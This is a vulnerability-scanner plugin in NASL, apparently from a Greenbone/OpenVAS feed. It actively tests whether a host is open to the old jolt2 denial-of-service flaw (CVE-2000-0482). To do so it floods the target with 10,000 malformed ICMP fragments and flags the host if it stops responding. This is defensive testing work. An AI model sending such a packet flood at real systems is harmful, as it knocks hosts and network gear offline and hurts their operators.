'jolt2' DoS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2003 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# Note: the original exploit looks buggy. I tried to reproduce it here.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11902");
  script_version("2026-01-27T05:49:07+0000");
  script_tag(name:"last_modification", value:"2026-01-27 05:49:07 +0000 (Tue, 27 Jan 2026)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
  script_cve_id("CVE-2000-0482");
  script_name("'jolt2' DoS Vulnerability - Active Check");
  script_category(ACT_FLOOD);
  script_copyright("Copyright (C) 2003 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("global_settings.nasl");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210208182550/http://www.securityfocus.com/bid/1312");

  script_tag(name:"summary", value:"The machine (or a gateway on the network path) crashed when
  flooded with incorrectly fragmented packets.

  This is known as the 'jolt2' denial of service (DoS) attack.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted ICPM packets and checks if the remote
  host is still responding.");

  script_tag(name:"impact", value:"An attacker may use this flaw to shut down this server or router,
  thus preventing you from working properly.");

  script_tag(name:"solution", value:"Contact your operating system vendor for a patch.");

  script_tag(name:"qod_type", value:"remote_probe");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

if(TARGET_IS_IPV6())
  exit(0);

# nb: Ensure that the host is still up
start_denial();
sleep(2);
up = end_denial();
if(!up)
  exit(0);

src = this_host();
id = 0x455;
seq = rand() % 256;

ip = forge_ip_packet(ip_v:4, ip_hl:5, ip_tos:0, ip_len:20 + 8 + 1,
                     ip_id:id, ip_p:IPPROTO_ICMP, ip_ttl:255,
                     ip_off:8190, ip_src:src);

icmp = forge_icmp_packet(ip:ip, icmp_type:8, icmp_code:0,
                         icmp_seq:seq, icmp_id:seq, data:"X");

start_denial();

send_packet(icmp, pcap_active:FALSE) x 10000;

alive = end_denial();
if(!alive) {
  security_message(port:0, proto:"icmp");
  set_kb_item(name:"Host/dead", value:TRUE);
  exit(0);
}

exit(0);